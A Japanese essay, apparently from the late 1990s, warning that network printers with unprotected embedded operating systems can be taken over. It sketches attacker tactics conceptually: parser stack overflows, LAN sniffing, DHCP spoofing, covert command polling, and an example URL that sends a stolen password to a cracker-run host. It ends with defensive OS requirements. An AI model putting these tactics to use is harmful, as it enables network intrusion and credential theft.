プリンターを買うときはネットワークプリンターを買うべきではない


そもそもの始まり

 いや、先日ネットワークプリンターを作ろうという話がふと発生しまして、 その話を聞いてて、
『もっ、もしかして、 ネットワークプリンターって買っちゃいけないんじゃない?』
と思うほど危険なことを思いついてしまったので。

 ネットワークにとって ただのプリンター というものは存在しません。 ネットワークプリンターは
まるで普通のコンピューターのようなふりをしてネットワークにつながり、
lpd コマンドとかを解釈して印刷してくれるもの
です。 ということは、 プリンターもネットワークに対しては、 通常のコンピューターと全く同様のことが全て可能だ、 ということです。

 特にネットワークプリンターは「高機能プリンター」でもあります。
「高機能であるがゆえに、ネットワークを通じて共有する」
代わりに、相応に高額のものになっているわけです。 このことは、 ネットワークプリンターには大量の Memory、 下手をすると HDD までもついてきており、 CPU もついていてそのパフォーマンスも高い、 と言える、ということです。

 その一方で、プリンターとかの中で動いている OS ってのは大抵の場合、 リアルタイムOS と言われるものです。つまり

 さて、ここで私が Cracker だとして、 このようなプリンターが存在する ネットワークで悪いことをしたいと考えたとしましょう。 次のような方法が考えられます。

プリンターの制御能力を獲得する。

 基本的にプリンターの制御コードは ROM に書かれていますから、 ここを書き替えることはできません。 しかし(昔 Worm がやったように)スタックを壊すなどの手を使って 制御をぶんどることは不可能ではありません。 つまり、何らかのプログラムのバグを使い、 特殊な印刷データをプリンターに投げることで、 制御をプリンター内蔵のコードから自分が組んだコードに 切り替えることができるわけです。

 この時、気をつけるのは「暴走させてはいけない」ということです。 ユーザーが「あ、暴走した」と感じたら プリンターの電源は切られてしまいます。 それではせっかく手に入れた制御権は全て水の泡です。

小さなスレッドを作る、デバイスドライバーも可

こいつは利用している通信形式を調べ、 そこを流れるデータにじっと聞き耳を立てます。

 ethernet であれ、token であれ、 device driver レベルでは他のマシン同士の通信も ほぼ全て盗み聞くことが可能です。 ですからもし Superviser mode で動いていれば、 当然その通信内容を全て傍受することは可能です。

 シングルタスクの場合、 結局デバイスドライバーの動作領域をすり替えたり、 作業領域を覗いたり、 もっと酷い場合ドライバーを自分に差し替えることも可能です。 ユーザーという概念がない場合、全員が root も同然ですから、
『デバイスドライバーを追加する』
という操作を行なうことができるのです。

 ただ、最近は switching hub のように 目的とする ターゲットとだけつなぐ デバイスがあるので、 この場合はすべてというわけには行かなくなってきています。 Switching Hub があると自分当てでないパケットが、 自分の所に来なくなるからです。

 が、その一方で 無線LAN というものも 出てきています。 無線には switching hub のような能力は与えようがありませんから、 当然傍受可能になってしまいます。 暗号化による傍受の防止は第三者の傍受に対しては有効でしょうが、 LAN 内部のデバイスに対してもきちんと作用するように 符合化ルールをきめるのは決して簡単でもないし、 encode/decode 用のハードウェアも必要になるなど、 低コストでは収まりません。

remote Login プロトコルを待つ

 当然、『Password:』と言ってきますから、 それに対するお返事を盗み聞きします。

確かに SSH など、暗号化された方法を使われると盗み聞きはできなくなります。

 しかし、Internal LAN でつないでいるマシン同士に対するセキュリティーは、 全般的に Internet 全般からのアクセスに対するものよりも 甘くなっているのが普通です。 remote login に SSH を使っていない。 暗号化されていない X Protocol で通信しているマシン同士の上で xterm を起動して login してしまう。 ftp を最も「素」な client(Windows98 などについてくる ftp client など) で使って、password を流す。 …いくらでもチャンスはあるでしょう。

 いかに何と言えども所詮は人間の書いたものですから、バグはあります。 そのバグをうまくついてやるとめでたくネットワーク上の他のマシンの パスワードをどんどん盗むことが可能になるわけです。

 このような Cracking を回避するには、 Kernel を駆動する/管理するユーザーと プリンターデーモン群を管理するユーザーの二人をちゃんと管理できるような OS でなくてはいけません。 また、ここまでの法則から行くと、 Switching Hub は利用する方がよく、 無線 LAN は使わない方が良いでしょう。

 というわけで、このような危険な状態を回避したければ、 無闇なネットワークプリンターの導入は、 やめたほうが良いようです。

 あ、もちろん『ネットワークプリンター』を『Windows95』とか 『OS/2』とかに差し替えても同じ結果になる、ということは秘密です。


攻略

 実は、 にこれを書いていたときは、
「んなこと言っても、攻略法なんてそうそうはないし、 情報を手にいれても Firewall があれば大丈夫だべ」
とたかをくくっていた私ですが、 実は、Firewall 外部から攻略する方法もあれば、 Firewall 内部からデータを外に送り出す方法もあるようです。

 実際には NetworkPrinter よりも、 Microsoft の InternetExplorer の方がはるかに脆弱でしょう。 user という概念は壊れていますし、 ActiveX や DirectX などを使えばおおよそ攻撃できないポイントは ありませんから。 でも、とりあえず説明は NetworkPrinter を基本とすることにします。

Firewall 内部からデータを外に送り出す方法

 まず、Firewall の内部に侵入することができ、 何らかの方法でデータを読み出すことに成功した場合に、 そのデータを Firewall の外部に送り出す方法から説明します。 こちらの方が簡単で、理解しやすいですから。

 たとえば Cracker が www.afo.or.jp というサイトを運営しているとしましょう。 で、Cracker に攻略された NetworkPrinter を通じて、 www.dd.iij4u.or.jp というマシン上の okuyama というユーザーの パスワードが afobfocfo だという情報を盗めたとしましょう。

 この場合、最も簡単な方法は、 NetworkPrinter に擬似的な WebBrouser を用意して、

    URL: http://www.afo.or.jp/~Cracker/passwords/www.dd.iij4u.or.jp/okuyama/afobfocfo
   
というアドレスを触りに行けば良いのです。
http://www.afo.or.jp/~Cracker/passwords/
というアドレスをわざと存在しないアドレスにしておけば、 httpd はこれをエラーとして扱います。 このためセッションは終了しますが、 URL という 内密チャンネル を通じてパスワードは外部に転送されましたから、 httpd (つまり cracker が自由にできるプログラム)は その情報を受け取ることができました。

 あらゆるデータは uuencode や MIME64 などを使って テキストに直すことができます。 そうやって直したデータを上記の方法を使って転送すれば、 どのようなデータでも外部に送り出すことができます。 さらに簡単な暗号を使えば、 Firewall の log に残っても問題点が簡単にはばれないように することができるでしょう。

 もちろん、Firewall が http を通さなければこの手は使えませんが、 Firewall の中から Internet の Web 情報をアクセスできないのでは、 Internet につないでいる価値が半減してしまいます。 まず間違いなく、http アクセスは proxy か socks かを通じて 許可されていると思って良いでしょう。 当然、そのような情報は、Netscape Navigator や InternetExplorer の 設定ファイルを読めば判ることで、 Password などを調べるのに比べれば圧倒的に簡単に入手可能です。

Cracked NetworkPrinter への指令法

 NetworkPrinter に対する制御を強奪できても、 それを自在に制御できなくてはうれしくありません。 今度はそれを可能にするために、 Firewall の外部から NetworkPrinter を制御できるようにするには、 制御を強奪できた NetworkPrinter をどのように動かすべきかについて述べます。

 基本的に Firewall が存在する世界では、 Active Cracking つまり外部から能動的に攻撃をかけるのは得策ではありません。 単純な外部からの Active Cracking に対しては Firewall の所で完全に防衛することが可能だからです。 このため、大抵の場合は Passive Cracking (受動的攻撃) 、 たとえばトロイの木馬のような戦略を使います。

 従って、一旦 Crack した NetworkPrinter も、 普段は大人しく普通の NP の振りをしてもらわなくてはいけません。 Cracker が指令を出すまさにその瞬間までじっとしている、 むしろ従来品よりも大人しいぐらいの従順さを示している必要があります。 怪しい動作をしたら、電源を切られてしまい、 せっかく獲得した制御権を失ってしまいますから。

 大抵の場合 Cracker と Crack された NetworkPrinter の作成者では、 Cracker の方が腕の良いプログラマーです。 Cracker が知っていることを NetworkPrinter の作成者は知らないからこそ、 バグを埋め込むわけですし、 そこにつけ込めるものだけが Cracker になれるわけですから。 ですから、Cracker が NetworkPrinter の制御権を掌握した場合、 Cracker には従来品以上の品質 (コードサイズ上でも、メモリ消費量でも) で動くコードを書く能力がある、ということです。 そこで、少し優秀めのコードを転送し、 そこで生じたリソースのゆとりを使って Cracking を行うわけです。

 Cracked NetworkPrinter は、 まず最初に自分を Cracker に報告しなくてはいけません。 そこで、各 Cracked NetworkPrinter ごとに ID が入るように Cracking します。 同じ Firewall の内側に複数の Cracked NetworkPrinter が存在し得ますから。

 次に、各 Cracked NP は一日一度、 ある所定の URL(Cracker が制御しているホームページ) を 見に行く以外は普通の NP と同様の動作をしなくてはいけません。

 この Page には普段はなにも記述しません。 着実に攻撃するための対象が決定したときに、 実行するべき挙動を記述します。 Cracked NP はここに記述されている命令を必要に応じて実行し、 必要な情報を収集して Cracker に送る、ということをするのです。 これで最小限の動作で必要な情報を集める「間者」ができました。

 もちろん、中には一度も使われることのない「間者」NP もあるでしょう。 というよりは普通はそちらの方が多いでしょう。 でも「Active」に攻撃するわけではないので、 それでも構わないわけです。 Cracker 自身のリソースを食うわけではありませんから。

NetworkPrinter の Crack 法

 最後にいよいよ NetworkPrinter の Crack の仕方です。 と言っても、具体的手法を教えるわけには行きませんし、 新しいものには新しい攻撃方法があるでしょうから、 一概に「こう」とも言えません。 ただし、いくつかの条件というのがあって、 それぞれの条件が満たされていないOSでは被害が拡大しやすい、 と言うのはありますので、それを列挙したいと思います。

kernel モードと user モードが区別されていないOSは危険である。

 最初に気をつけるのは、 kernel と user application が同一のモードで動作している OS です。 MS-DOS などがこれに当たります。 Windows95 も DOS 窓などを通してこれと同様の状態になるので、 危険です。 VxWorks などもデフォルトではこの状態にあります。

 なぜこれが危険かというと、 ある Application のバグを使って Crack in した Cracker にとって、 最大の邪魔者はアクセス権限などを制限する kernel だからです。 もし、Application と kernel が同一のモードで動いているのであれば、 それは Application が kernel の持っているデータをアクセスできる、 と言うことを意味します。 kernel の stack のような致命的な領域を変更されたら、 そのマシン上で動く全ての Application を Cracker の思いのままに 変更できることになります。

 むろん、 3頭のケルベロス(Three headed Kerberos) のような手を使って、スピード勝負で このような Cracking を停止させてしまう方法もあり得ますが、 3頭のケルベロス コードを組むよりも、kernel の方で モードを切り替えた方がはるかに実行速度も早く、 安全で、確実です。

リソースアクセスに user の概念がない OS は危険である。

 実際にファイルという概念がなくても、 書き換え可能な static data 管理があり、 そこへのアクセスが自由で、 そこにあるデータを実行する可能性があるのならば同じことです。 そして、static data 管理がないプリンターは、 フォントも何も持っていないということですので、 NetworkPrinter かどうかの方を疑うべきでしょう。 もちろん、WindowsPrinter や InkJet Printer のように レンダリングは計算機上で行うタイプのプリンターはありますが、 NetworkPrinter ではないはずです。 その手のプリンターは低コストで購入できる値段設定になっており、 量販とトナーや紙などの消耗品で利益を出すようになっているからです。

 究極的には、ある Application を制御下においた Cracker が、 次に kernel や device driver を自分のバージョンに 差し換えることができると、 次に電源を入れ直したときからその NP は完全に Cracked NP になります。

 これを防止するには、Application が kernel ファイルなどを 変更できないようにする必要があります。 これにはアクセス権限という概念を持たせるしかありませんが、 その過程で user の概念が必須になります。

「すべてが ROM に記述されていれば大丈夫ではないのか?」 という意見には2つの反論があります。 1つ目は、こんにち、 ROM といっても FlashROM でしかないという点で、 ここは当然書き換えられます。 2つ目は、すべてを ROM にすることはできない、という点です。 コストなどの点、あるいは別の理由から必ずどこかに、 書き換え可能な領域を用意しなくては NetworkPrinter 機能は 実装できません。 たとえ、 それが IP Address を覚えておくための小さな領域であってもです。 これらの領域は電源を切る度に消えてもらっては困るので、 必ず何らかのデータ保持機能を持っており、 それゆえにそこに保存された Cracking コードも保存されます。

user モードで動く application 同士の stack が 互いに覗けるようでは危険である。

 これは embedded Operating system においてよくある話ですが、 先の2つの危険条項を回避しているにも関わらず、 メモリ領域は全て共有メモリのようになっている、 という OS がよくあります。

 この場合も1つめと同様の問題、 つまり1つの Application が突破されたら、 他の Application の stack をいじって 他の Application も Cracker の制御下においてしまうことができる、 という点が問題になります。

 複数の Application が自由になれば、 より「珍しい」現象を起こすことができ、 その分 kernel cracking がやりやすくなります。

 仮想アドレスシステムの駆動は面倒な作業であり、 コンテクストスイッチにも多大な負荷をかけますが、 この作業が時間がかかるものであるのには理由があるのであって、 単純に省略すれば良いというものではありません。

 当然、MMU などの仮想アドレスシステムをサポートしない CPU を使うべきでもありません。 確かに廉価かもしれませんが、 たかが数百円から、せいぜい千円の差でしかなく、 その程度のコストは Cracking の対象にされた結果起きる 信頼の失墜による被害に比べたらものの数ではありません。

 これらの危険条件を回避できる OS は、 結局 unix や Btron のような full set OS になります。 mach のような micro kernel はそれ単体で使うものではないので大丈夫ですが、 Windows95 のような代物は致命的な欠陥を持つことになります。 また、uITron のようなサブセットものも危険だ、 ということになります。 「Industry OS」が Industry に向かない、というのは皮肉なことですが。

 さて、 今まで出てきたような欠陥を持っている NetworkPrinter に対する攻撃法は、 簡単に考えても次の物があげられます。

HTML Parser Crack

 NetworkPrinter には、 URL を指定するとその WebPage を取ってきてそこを 印刷する機能がついているものがあります。 これは、その HTML を解釈する Parser を攻撃するものです。 引数が山のように存在する HTML コマンドを書くとか、 アンカーを長大にするとかして、 stack 上に用意されているバッファ領域を越えたアクセスを起こさせるのです。

 Internet Worm の時に有名になったこの攻撃法は、 いまだに最初に検索する価値のある攻撃法です。 特に Parser のような再帰的挙動が重要になる作業では、 動作の遅い heap を malloc/free でアクセスするのでは、 全体の動作速度に影響を与えてしまいます。 このため、ついつい、stack にデータ領域を取ってしまいがちなのです。

 ただ、あまり派手に stack を破壊すると、 何もなかった振りをするのが大変になります。 このため、stack 破壊は最小限にとどめ、 別の手で必要なプログラムコードなどを転送する、 ということが良く行われます。

Graphic Image Crack

 これは正確には Cracking とは違うかも知れません。

 Image data を操作できる HTML の世界では、 すなわち巨大なデータを転送することができます。 そのデータにプログラムを組み込んでおけば、 他の方法で得た制御権を使って複雑なプログラムを 実行できるようになります。

 また、 巨大なデータを操作するプログラム自身かなりの一時領域を利用するので、 そこにも Stack Overrun などを実行する隙があり得ます。

 さらには Heap Manager のバグを叩くことができるかも知れません。

 このような複数の目的のために、イメージ処理のコードは かなり高い確率で Crack のターゲットになります。

EPS Crack

 PostScript というのは Tuling Machine 言語です。 つまり、「計算機にできることはなんでもできる」言語です。 当然 Cracking に利用することもできます。

 PostScript では現在自分が実行されているラスタライザーの名前を 手にいれることができます。 これがある特定のプリンターの場合に挙動を変更するように EPS ファイルを作り上げるのは難しいことではありません。 まず間違いなく EPS ファイルは PostScript Printer に対しては 単に「張り付けるだけ」のはずですから、たとえ中間に WS がいても すり抜けることができます。

 PDF は PostScript に対する機能上の上位互換性を持っています。 当然、PostScript で出きる悪さは PDF でもできるでしょう。 ただし、Parser などは遥かに簡単になっているので、 攻撃に利用するには PostScript に比べて難しいでしょう。

System Call Crack

 これは直接叩ける類いのバグとは限りませんが、 結構よくあるタイプの攻撃です。

 kernel からのサービスを得るための system call には バグがあるかも知れません。 特に時刻割り込みのように時間系の割り込みに起因するバグは、 OS が時間割り込みを多用して動くだけに存在する場合には 相当に深刻な問題をもたらします。 一方で Cracker にとっては、単に時刻指定を持ったコマンドを プリンターに送るだけで問題を起こせる、 という意味で極めて攻撃しやすいポイントです。

 ただ、実はこれは諸刃の剣でして、挙動が不安定な場合、 Cracking コードも不安定なものになってしまいます。 そのため、どのような理由で system call が不安定になるのか、 どうすればそれを「引き起こしつつ、自分は影響を受けないようにできるか」 という問題を解かなくてはいけません。 故にこれを使うには結構な技能を必要とします。

 一旦ある程度の制御権を得たら URL を投げて、 Cracker の Homepage から本格的な攻撃用プログラムを ダウンロードできるようになります。 kernel の reboot image も、何もかも、この手で転送することが可能です。 そうして全てを Cracker のものにしたら、 あとは何もなかったかのように振る舞えば良いので、 それ用のデータも取ってくることができます。

 これらの動作は全て
「ん?プリンターの調子がちょっとおかしいかな?」
という程度の時間で実行可能なものばかりです。 まずプリンターを常時監視している人はいないのでしょうから ユーザーにばれる心配はありませんし、 普通の動作程度ではおかしいことも判らないでしょう。

 だいたい、置き換わった NP のプログラムは、 オリジナルよりも良い動作をする場合が多いのです。 普通のユーザーには気になるわけがありません。


そして我々は何を失うのか

 Cracker によって攻撃を受け、 NetworkPrinter の制御を失っている状態で、 一体 NetworkPrinter はどのような情報を盗みだし、 Cracker に届ける能力があるのでしょう?

に述べたように、 NetworkPrinter に盗まれた情報は、 Firewall の有無に関わらず、 Cracker の手元に届けることができます。 しかし、NetworkPrinter が重要な情報を読み取れなければ、 Crack されても気にする必要はありません。 従って、NetworkPrinter がどのような情報を盗み見できるかについて考えるのは 大事なことになります。

印刷したものは全て盗まれる

 まぁ、これは当然ですね。 プリンターである以上、 ユーザーが印刷したいものはプリンターに転送され、 プリンターで解釈されて印刷されます。 ということは、その中に機密情報があれば、 当然それは盗まれてしまうでしょう。 たとえば Confidential などというキーワードを持った文書は覿面盗まれる可能性があります。

いまだになんでも印刷したがる人がいますが、 これはとても危険な行為なのだ、 ということがここからも良く判ると思います。

device driver が従来読み捨てていたものは全部知られる

 一般のユーザーのところまでは落ちてこないものの、 現在のネットワークシステムには非常に多くのデータが デバイスドライバーレベルまで到達しています。

 たとえば Broadcast メッセージを考えてください。 LAN につながっている全てのマシンへ一通りメッセージを 通達してしまうこの通信方式は、 DHCP など通信の最初にかなり使われます。 本物の DHCP server よりも先に NetworkPrinter が DHCP サーバーのフリができたら、 DHCP client は NetworkPrinter の方を信頼するでしょう。

 Switching Hub などを使っていない LAN の場合、 自分宛てのパケットかどうかは、 全てのパケットを調べてみて自分宛ての IP 以外を捨てる、 という形で行うことができます。 もちろん、普通は ethernet の Machine ID で自分宛てかどうかを 判断するのが一般的な処理なのですが、 この機能は簡単に止めることが可能です。 MultiCast 対応にするためにはこういう機能が必要になるからです。 そこで、 LAN 上の Packet を全て調べあげるプログラムを作ることが可能になります。

 もちろん、全てのパケットを読んでいたら時間がどれだけあっても 足りないのですが、パケットの中の特定の文字列とのマッチング程度であれば (簡単であれば)可能です。 たとえば、Password という文字列が直接見える(つまり暗号化されていない) 通信があるかどうか、などです。 いくつかのパケットについてはこれらのチェックができなかったとしても、 また次のチャンスがあり得ますからそれを待てばいいだけです。

 IPv6 であれば、重要な情報には暗号化がかけられます (が重要な情報だけを隠すとそれを重点的に攻撃すれば良くなるので、 全部隠した方が安全だと思うんだが…)。 が、IPv4 であれば、大事なところは丸見え。 特に通信が他者のマシンどうしの場合は、

そういうプロトコルが規格として決まっていない限り
スッポンポンだと思った方が良いでしょう。

 さらに NFS などのファイルシステム関係の情報も全部みることができます。 保護機能がありませんから。 つまり、あなたがリモートでアクセスしたファイルは、 全部盗まれる可能性があります。 ftp したものも同様、RPC 対象になっているものも同様です。

 つまり TCP/IP で流れている情報はほぼ全て獲得可能だということであり、 Firewall の中の通信は最終的には全滅 と言っていいかと思います。

What's on the NFS file system?

 NFS ファイルシステム上のファイルが読めると言いました。 ここには普通 Home Directory があるはずです。 どこのマシンに login しても共通の環境を作り上げるには、 Home Directory の共有が一番ですから。

 しかし、ここには普通、PGP の秘密鍵保持ファイルがありませんか? ということは PGP で暗号化したメールは全部読まれてしまいますし、 あなたの電子署名は偽造される危険性があると言うことですね? PGP で暗号化したファイルも同様に読めますし、改竄できます。

 ということは、NFS 上に載っているファイルは全部 盗まれる可能性があるという事ですね。 DFS のように通信全体が暗号化されているファイルシステムを 採用する必要があるでしょう。 でも、LAN 内部のファイル共有にそういうことまで考慮する人は あまりいません。 一応 Firewall で防御してあると思っていますから。

 結局、LAN 内部に造反者(この場合は Cracked NetworkPrinter)がいる ということは、 LAN 内部の情報は何らかの方法で外部に漏ていくと考えて良さそうです。

 ここに述べられたものは NetworkPrinter から直接 とってこれる情報ですが、 NetworkPrinter を橋頭堡にして他の計算機を(Windows マシンとか)攻撃すれば、 さらにいくらでも情報を盗むことができます。 その被害はちょっと予測できないでしょう。


それでも NetworkPrinter は使いたい

 かくも危険な NetworkPrinter だが、 それでもなお NetworkPrinter は使いたいものだ。 今までの論調で行けば、 別に「プリンター」の方に問題があるのではなく、 Printer 内蔵の OS に問題がある、と言っているだけだ。 ということは、何か注意することをきちんと注意すれば、 安全な NetworkPrinter も作れる、ということだろう?

 実際、NetworkPrinter が提供してくれる機能は魅惑的だ。 コンピューターの lpd の設定をすべてネットワークにできるだけでも ずいぶんとありがたい。 ましてや、パラレルポートよりも遥かに高速な通信速度、 強度な自立性と負荷分散性など、 導入する価値は十分である。

 そこで、ここでは安全な OS は何か、を考える。

 まず、一番重要なポイントは、 NetworkPrinter 上で動いている複数のプログラムが、 互いに相手を攻撃しにくいように作られていることだろう。

 あるプログラムが外部からの攻撃に対して耐えきれなくなる (バグがあった)ことは、 当然想定しなくてはいけない。 人間が作ったものである以上万全でなどあり得ないし、 偶然によってしか攻撃されない場合と違って、 悪意に満ちた「攻略」の対象になることは当然想定せざるを得ない。

 大事なのは、 この時にそのプログラムの影響を、 他のプログラムが可能な限り受けないようにすることである。 あるプログラムを攻撃したら、 そのまま他のプログラムも、カーネルも、 片っ端から攻略できてしまうようでは困る。 むろん、OS 自身もプログラムである以上バグがないという状態は つくれないだろうが、 仕様レベルでさえ全く防止していないなどという状態では困る。

 このためには、別プロセスの VM 情報や、 別プロセスのメモリイメージを変更できないようガードされている必要がある。 これには、 無知による防御 は含まれてはならない。 「普通の人には知られていない」ということは、 「Cracker が調べても判らない」という意味ではないからだ。

従って、 OS は次の条件を保証しなくてはいけない。

 これらの条件を満たすためには、 ハードウェアレベルでの仮想アドレスシステムが必要だ、 ということになる。

 Cracker がプログラムを自由にできても、 そこから直接他のプログラムや OS は直接攻撃できないとなったら、 次に攻撃対象になるのは load module image だろう。 つまり、
「今動いているプログラムイメージそのものは駄目でも、 一度電源を落とした後の再起動で、 自分の制御下にあるプログラムが実行されれば良い」
という発想に出るわけだ。 unix などで
「./ を PATH に追加してはいけない」
と言われる理由も、この攻撃を回避するためである。 この攻撃は、基本的に Crack されたプログラムでは ロードモジュールイメージを変更できない、 という制約があれば良いことになる。

「そんなことしなくても ROM イメージを直接実行していればいいのではないか」 と思われるかも知れないが、これは2つの理由でうまく行かない。

 1つ目は ROM イメージと言っても大抵の場合は FlashROM なので、 書き込み可能であることだ。 FlashROM を書き換えるために必要な RAM 領域は、 NetworkPrinter の場合十分に存在する。 従って「ROM だから書き換えられることはない」というのはこの場合は 間違っている。

 2つ目は RAM と ROM ではアクセス速度に大きな差があるので、 実際には ROM イメージは直接実行されるのではなく RAM に 一旦 load されてから実行されることが多い点があげられる。 ROM から RAM への転送コードに細工が加えられて、 ROM イメージにパッチを当ててから実行されるようになっていたら、 たとえプログラムコードが ROM に書き込まれていても意味がない。

 通常、この手の「書き換え可能」制御は、 ユーザーという概念で定義される。 Crack されたプログラムの「ユーザー」では ロードモジュールが書き換えられない、 書き換えるためにはそれ専用のユーザー権限が必要であり、 こいつはそう簡単には攻撃できないようにすることで、 書き換えを防御するのだ。

 以上の条件が満たされていれば、 そう簡単にはシステム全体が攻撃に屈することはない。 確かにあるプログラムが攻撃され、 突破されることはあるだろうが、 Cracker の権限が NetworkPrinter のシステム全体に広がることは防げるし、 さらに被害がネットワーク全体に広がるのを防ぐこともできる。

 が、これらの条件を満たす OS は?となったら、 普通は TRON か unix ぐらいしか残っていない。 他の OS は(明示的なバグがあったり、スペックレベルで貧弱だったりして) 必要な機能が揃っていない。 逆に揃っていて unix と異なるシステムを作っても、 単に扱いにくいだけである。

 unix を内部 OS に利用しているプリンターは実は存在する。 ただし、これは汎用機系のプリンターで、 WorkStation が丸々全部入っている事が多い。

 こういう代物があるから、世の中には OpenBSD や Linux をコア OS に なっているプリンターもあるかもしれない。 探す価値はあるだろう。 ない場合、作れば商売ができるだろう。 ニーズは絶対に存在する。